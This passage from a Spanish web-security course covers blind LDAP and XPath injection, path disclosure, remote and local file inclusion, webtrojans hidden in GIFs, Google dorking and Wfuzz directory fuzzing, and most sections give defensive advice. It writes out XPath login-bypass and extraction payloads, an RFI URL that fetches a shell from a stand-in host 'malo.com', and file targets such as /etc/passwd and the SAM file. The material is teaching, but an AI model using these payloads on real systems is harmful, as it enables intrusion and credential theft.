no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
